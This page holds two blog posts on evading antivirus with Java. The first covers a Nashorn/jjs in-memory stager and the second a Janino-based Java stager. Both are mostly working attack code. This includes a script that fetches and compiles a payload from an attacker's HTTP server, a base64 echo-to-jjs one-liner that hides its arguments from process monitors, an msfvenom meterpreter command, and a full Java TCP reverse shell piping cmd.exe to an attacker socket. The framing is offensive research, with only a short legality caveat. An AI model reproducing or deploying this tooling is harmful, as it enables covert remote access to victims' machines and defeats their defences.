Tag Archives: anti-virus evasion

Java Stager without the Stager

I have been doing a lot of playing with Java recently. In fact, this will be the 3rd blog post in a month.

In this post I sought to merge the two threads and move away from “Java-Stager” to deliver the same payload via Nashorn.

Why bother?

If we revisit the goals of a stager, then you should see why this is significant:

  • Stager is a binary or script which is uploaded to the victim.
  • The stager needs to be benign in general to survive cursory analysis.
  • The stager then downloads the actual payload over HTTP straight into memory where it is hidden from lots of AV solutions.

The technique of hiding in memory is based on the work of James Williams with his “too hot for the Internet” video available here:

https://www.youtube.com/watch?v=BYEbhDXgElQ&t=7s

An AV vendor made a copyright claim which had the video pulled temporarily. Then because of that becoming a much bigger story it currently has 32k views. Which is about 30k more than the next most popular video from this year’s BSides Manchester.

The Stager jar file was a weak point of the Java-Stager post. While that is designed to be a proof of concept. It is true that uploading the jar file to Virus Total would probably see it being killed by AV within a few days.

By the end of this post we will have the functionality of Java Stager where everything pretty much happens in memory, and the “Stager” is now an Oracle signed binary which is part of the Java Runtime Environment.

Nashorn Payload

Now that I have a lovely Nashorn engine to play with I have implemented the same reverse shell over TCP which was given out with Java-Stager:

https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java

The following shows how to achieve the same results using only Nashorn code:

// Change this to point to your host
var host = "http:///";

// Load the NnClassLoader over HTTP 
load(host + "NnClassLoader.js");

// Use NnClassLoader to download Janino and Apache commons over HTTP
// Obtain these Jar files and stick them in your web root
var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
var P = L.type('org.codehaus.janino.SimpleCompiler');
var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");

// Import all the Objects that we need
var BufferedReader = Java.type("java.io.BufferedReader");
var InputStreamReader = Java.type("java.io.InputStreamReader");
var StringReader = Java.type("java.io.StringReader");
var StringBuffer = Java.type("java.lang.StringBuffer");
var Method = Java.type("java.lang.reflect.Method");
var URL = Java.type("java.net.URL");
var URLConnection = Java.type("java.net.URLConnection");

// Place Java-Stager's Payload.java file at root of web server.
// This code downloads the payload over HTTP
var payloadServer = new URL(host + "Payload.java");
var yc = payloadServer.openConnection();
var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
 
// Read the code into memory in a string
var inputLine;
var payloadCode = new StringBuffer();
while ((inputLine = ins.readLine()) != null) {
   payloadCode.append(inputLine + "\n");
}
// Be tidy and close the input stream.
ins.close();
print("[*] Downloaded payload");

// Compile it using Janino
print("[*] Compiling ....");
var compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
var compiled = compiler.getClassLoader().loadClass("Payload") ;

// Execute "Run" method using reflection
print("[*] Executing ....");
var runMeth = compiled.getMethod("Run");
// This form of invoke works when "Run" is static
runMeth.invoke(null); 

print("[*] Payload, payloading ....");

Hopefully the comments clear up how that works. It basically does this:

  • Download over HTTP the “NnClassLoader.js” library which allows custom class loading.
  • Download the two java libraries required (janino, and commons-compiler). These are required for compilation in memory.
  • Download the payload over HTTP and save it into memory.
  • Compile the payload in memory.
  • Use reflection to execute the “Run” method of the “Payload” object to trigger the payload.

Pretty much the same process as before.

Preparing Attacker’s Server

Start an HTTP listener containing the following files in the web root:

  • NnClassLoader – Available from reference [1]
  • janino-3.0.8.jar – Available from reference [2]
  • commons-compiler-3.0.8.jar – Available from reference [3]
  • java – The same payload I made for Java-Stager works.

Then you start a metasploit multi/handler with the payload set to “generic/shell_reverse_tcp”. With the extra option “set ExitOnSession false” enabled the listener will remain active beyond the first victim connecting back.

Exploiting your victim

Obviously, do not do this on a machine that you are not legally allowed to. This is for research purposes only.

Caveat in mind? Good. All you do is take a copy of the Nashorn payload (shown above) and paste it into a text editor on your “victim”. Then all you need to do is:

  • Set the value of “host” to point to your HTTP listener
  • Save the above to disk as for example “revshell.js”

There are then three ways to run the “revshell.js” using jjs:

# As argument to jjs
jjs path/to/revshell.js

The pros of this is that it is damn easy. To find the cons look at the output Sysinternals process explorer. There you will see that this leaves an obvious path to the payload:

08-jjs-with-file-as-argument

Which isn’t brilliant. The second way is to use “echo” to spoof sending stdin data to the jjs command prompt interface:

# echo spoofing stdin
echo load(“path/to/revshell.js”) | jjs

Looking at process explorer again shows that we have hidden the location of the payload:

09-jjs-using-echo-or-command-prompt-interface

The final method is to just use the command prompt interface and then issue the load command:

# launching jjs as shell and then loading it
jjs
jjs> load(“path/to/revshell.js”)

This again gets a clean looking output from process monitor which isn’t surprising since the last two are equivalent.

Doing it all in memory *

Now these are fine, but you are committing to saving a file on disk. If you want to do it all in memory, then you can:

  • Upload your “revshell.js” to your HTTP listener and then use “load()”.
  • Or paste the program line by line into the command prompt interface.

These both worked for me. But the final way of doing it is to Base64 encode your payload and then paste a 1 liner into jjs to make it work. To keep this as a “no tools on your victim” hack I would suggest using an online encoder for example:

https://www.base64encode.org/

Or you have options in powershell, certutil to encode base64 on Windows, and equivalent options in Linux.

Once you have a base64 encoded version of the payload just paste it into the one liner shown below over “ENCODED_TEXT”:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

This will do it in a one liner in memory. It will execute within the context of a binary signed by Oracle (jjs.exe), and. it will hide the input parameters from Process Explorer on Windows.

* Ok some of it touches disk

Using Systinternals process monitor with the filters set as shown:

10-process-monitor-filters

I discovered that our jjs process (in this case with PID 3504) created some temporary files:

11-jar-cache-files

These are files created by “NnClassLoader”. They are local copies of the two dependencies “janino” and “commons-compiler”. These are NOT malicious and should pass any scrutiny since they are not from nefarious sources.

I think they are an improvement over my PoC Java-Stager which is toasted the second that someone uploads it to Virus total.

Put it together and what have you got?

Here is the Attacker setup and it catching the reverse shell back:

15-Attacker-Listeners.png

Here is the Victim executing the payload using the echo trick with Base64 encoding:

14-Victim-Executing-Nashorn-Stager

So that worked absolutely fine. Bibbity, bobbity, boo!

Trying to trigger AV Alerts

The payload used by Java-Stager and this Nashorn example are currently useful against, I would guess, most Anti-Virus solutions. The reasons being:

  • Most of what they do is in memory, a classic place to hide.
  • The payload has been written by me. The all time most effective AV bypass is to just write your own payload. If the customer’s AV solution has no signature to match against then you will get by long enough to finish up your engagement in most cases.

With those reasons stated I wanted to TRY and trigger an AV response out of a fully up-to-date Microsoft Defender. I hold Defender in high regard personally but that is just an opinion. So lets finish the post by using Eicar to trigger alerts.

Loading Eicar

In my target VM I tried using “load” to obtain a copy of the eicar string:

12-Eicar-download-via-jjs

It downloaded into memory without issue but failed to execute because it isn’t valid JavaScript. No alert was raised, proving that on access scanning failed to find Eicar using in the same place we are hiding our payloads.

To trigger an actual alert because of Eicar I had to use Java to save the string to disk as shown:

13-Writing-Eicar-to-Trigger-Alert

The moment “fw.close()” was called Defender alerted on Eicar as expected.

Once more unto the breach

This is my final check I promise. As I was wrapping this up I thought that the Eicar string is really intended to be a file. It hardly ever gets any scrutiny in memory. It makes sense that it wasn’t caught one way but it was the other.

One final test I generated a straight unencoded payload using msfvenom as shown:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp

Then I downloaded it using the “load” command:

16-msfvenom-asp-shell

Again it wasn’t caught by Defender and again it failed to then execute because it was not a JavaScript file. Not really sure what more I should be doing to try and trigger an alert than trying a pure msfvenom payload.

There you have it. A living off the land binary which you can use to do things merely by copy/paste giving you new options for evading the blue team.

References

[1] https://github.com/NashornTools/NnClassLoader
[2] http://repo1.maven.org/maven2/org/codehaus/janino/janino/
[3] http://repo1.maven.org/maven2/org/codehaus/janino/commons-compiler/

Java-Stager – Hide from AV in Memory

== Update 08/08/2018 ==
The day after I posted it was Glasgow Defcon. I found a spare 30 minutes to make some slides so I did a lightning talk. I know lots of people like to have slides when slides exist so here they are:

https://cornerpirate.files.wordpress.com/2018/08/java-stager.pdf

Though personally I think the blog post is going to help more but yea.

Enjoy

== Original Article ==

I work with some very talented people. I also work with James Williams (a joke, precisely the sort of self deprecation he engages in). He should know that I think he is amazingly capable. At SteelCon 2018 he dropped a lightning talk as below:

Next Gen AV vs my shitty code – by James Williams

In it he showed how he gets past various anti-virus solutions by using .Net. To summarise the technique it:

  • Needs a “stager” which can download code into memory
  • A means of compiling that source (also in memory)
  • Then a way to execute that code

The key part from James about the process is: “(the) Stager has to touch disk, the payload does not”. There is nothing malicious about the stager so it essentially gets a free pass from all AV solutions that he tested. Then because the process works entirely in memory there is “hee-haw” (to use a wonderful Scottish phrase) chance of detection at the moment.

I really liked the talk. I especially noticed his challenge that “these are transferable tricks and should work in Java”. Since I like hacking with Java I got stuck in and tried it out. This post discusses the 3 steps of the technique and provides an example payload.

The full code for both the Stager and the payload is available from my GitHub page here:

https://github.com/cornerpirate/java-stager

The rest of this post summarises in English how the things fit together.

I am not a malware expert. I am not a ninja at avoiding anti-virus. Wherever I need to avoid AV I just write my own payload and it seems to work quite well so far. If you want to stay hidden you basically need to implement your own tools. Hopefully my stumbling steps here are of use to someone.

Downloading a page over HTTP using Java

This first code snippet shows the code used to open a connection to a URL and then save the HTTP response body into a StringBuffer:

import java.net.URL;
import java.net.URLConnection;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.StringReader;

...

// URL for java code
URL payloadServer = new URL(u);

URLConnection yc = payloadServer.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(
                    yc.getInputStream()));

// Download code into memory
String inputLine;
StringBuffer payloadCode = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
   payloadCode.append(inputLine + "\n");
}
System.out.println("[*] Downloaded payload");

Nothing crazy here really. But I sometimes need to find this code quickly so felt it necessary to stick it in here prominently. The StringBuffer is not written to disk which matches what James does in .net.

James went further and used encryption to obfuscate his payload. My PoC is not that advanced but could be modified to decrypt the payload too.

Compiling Java in Memory

I went looking for a way to compile Java in memory. I initially made a proof of concept using this GitHub repo:

https://github.com/trung/InMemoryJavaCompiler

It totally worked and did what it said on the tin. The problem came when seeking to run the Stager on a victim. Lots of computers have a Java Runtime Environment (JRE) meaning that they can execute Java bytecode. Typically only Developer workstations and Servers have the Java Development Kit (JDK) installed. InMemoryJavaCompiler requires the victim to have JDK installed or it fails to work. The following shows the error when the JDK is not installed on the victim:

02-error-when-javac-is-not-installed

The “NullPointerException” is not very descriptive but it meant that Javac was not available.

If you get here by Google and want to know how to compile in memory without JDK installed then here are your options:

  1. Official Java Way – Obtain a copy of “tools.jar” from the JDK/lib folder and place it in the JRE/lib folder. This is not an ideal solution because the license from Oracle on Java makes it technically illegal to do this. Note: that simply including “tools.jar” into the classpath of your running application does not work (despite many StackOverflow posts saying it does, it certainly doesn’t work in 2018). This also means that the victim must have admin privileges so that they can alter the contents of the “c:\Program Files\Java\” directory structure. It felt fake when doing this.
  2. Finding a 3rd Party Compiler – Several projects have created their own implementation of Javac. These are open source with less restrictive licenses. After a bit of research the best option was “Janino“. At 780kb this was way smaller than “tools.jar”. It worked by being in the classpath so also didn’t need special privileges from the victim.

In the end Janino won the battle for the reasons above. I altered the PoC to fully operate that way.

Want to know how to compile a String into Java Bytecode in memory? Here is the code to do that:

import org.codehaus.janino.*;

...

// Compile it using Janino
System.out.println("[*] Compiling ....");
SimpleCompiler compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
Class compiled = compiler.getClassLoader().loadClass("Payload") ;

Again nothing too scary here. The “SimpleCompiler” class does what it says giving you a simple API for compiling files and strings into Bytecode. In this case Janino rather charmingly calls the compilation method “cook” (awwwww guys!).

The loadClass method takes a String argument which is set to “Payload”. This is the class name and file name of the payload which is listed later. If you are downloading over HTTP my testing showed that the filename mattered. When giving a URL it must download “http://attackerhost/Payload.java”. Whatever your payload file is called on disk must match the class name or compilation will fail.

Using Reflection to execute Java Bytecode in Memory

By the end of the previous snippet we have access to our Bytecode via the “compiled” object. Now all we need to do is execute the “Run” method of the Payload class and we can go home. The following shows how to do that:

import java.lang.reflect.Method;

...

// Execute "Run" method using reflection
System.out.println("[*] Executing ....");
Method runMeth = compiled.getMethod("Run");
// This form of invoke works when "Run" is static
runMeth.invoke(null); 
            
System.out.println("[*] Payload, payloading ....");

We are about to say method a lot. Deep breaths everyone… Use the “getMethod” method to get the Method. Then use the “invoke” method to invoke the method that you got!

To be consistent with the naming scheme used by James I have called my method “Run” with a capital “R”. Which isn’t very Java of me. I can sense a few veins pulsing and throbbing on foreheads at the very notion of pissing about with the case of a method name in Java.

The “invoke(null)” works because the “Run” method has the following declaration:

public static void Run() { ; }

Since it is static and because it has no arguments we get away with just passing “null”. There is a dark art to invoking methods with actual arguments which I did not need to figure out for my reverse shell payload (included later in this post).

My Java Stager

The full code is available here:

https://github.com/cornerpirate/java-stager/blob/master/src/main/java/Stager.java

We have already discussed all of the important bits relevant to the techniques in the three snippets. In addition to those, it has some basic usage baked in to make it less scary to use:

// Check how many arguments were passed in
if (args.length != 1) {
   System.out.println("Proper Usage is: java -jar JavaStager-0.1-initial.jar ");
   System.exit(0);
}

If you call the Stager without any input parameters it will bomb out and explain that you need to provide a URL.

The URL you use should point to a Java payload. Obviously I am not making malware for a living (I would not be any good at it). I suspect you would want to hard-code the URL rather than require user interaction but I am not here to make something malicious.

My Java Payload

The full source code for the example payload is available here:

https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java

It includes a basic TCP reverse shell aimed at a Windows victim. The eagle eyed will notice the file in the GitHub repository is not called “Payload.java”. This is not going to work if you use it without modification. The following shows the full listing for the Payload class which will work:

import java.net.Socket;
import java.io.InputStream;
import java.io.OutputStream;

public class Payload {

    /**
     * This method is called when the payload is compiled and executed. I am
     * showing a reverse shell here for Windows.
     */
    public static void Run() {

        try {

            // IP address or hostname of attacker
            String attacker = "SETME"; 
            int port = 8044;
            // For a windows target do this. For linux "/bin/bash"
            String cmd = "cmd.exe";
            // The rest creates a new process
            // Establishes a socket to the attacker
            // Then redirects the stdin, stdout and stderr to the port.
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(attacker, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            // read all input and output forever.
            while (!s.isClosed()) {
                while (pi.available() > 0) {
                    so.write(pi.read());
                }
                while (pe.available() > 0) {
                    so.write(pe.read());
                }
                while (si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            };
            p.destroy();
            s.close();
        } catch (Exception ex) {
            // Ignore errors as we are doing naughty things anyway.
        }

    }
}

Just set the attacker’s IP and port number appropriately and you are away with the above saved into “Payload.java”.

The reason for using a different filename in the repository is to prevent class name clashing when the Payload is actually compiled. The Readme and heading comments for the template in GitHub both explain the changes you need to make so I will not repeat it a 3rd time here.

Lets all look at a shell!

Because why not? PoC the PoC or gtfo isn’t it? Here is < 60 seconds of waffling to show how it works:

For ease the key parts of the video are. Start your listeners on the attacker's machine:

01-attacker-setting-up-listeners

Upload the Stager and libs folder to the victim and then execute using this syntax:

java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

If you have set your Payload.java file up correctly then you will have a wizzy new shell:

03-shell-stablished

I have to admit this was fun. Thanks for the inspiration James!